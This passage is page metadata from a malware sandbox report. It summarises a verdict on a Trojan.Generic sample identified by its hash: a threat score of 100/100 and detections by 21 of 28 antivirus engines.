100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 1885e9b3037c…. Malware family: Trojan.Generic. Threat score 100/100. 21/28 AV engines flagged this file. 12 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 1885e9b3037c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 1885e9b3037c…. Malware family: Trojan.Generic. Threat score 100/100. 21/28 AV engines flagged this file. 12 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3d","11",{}]]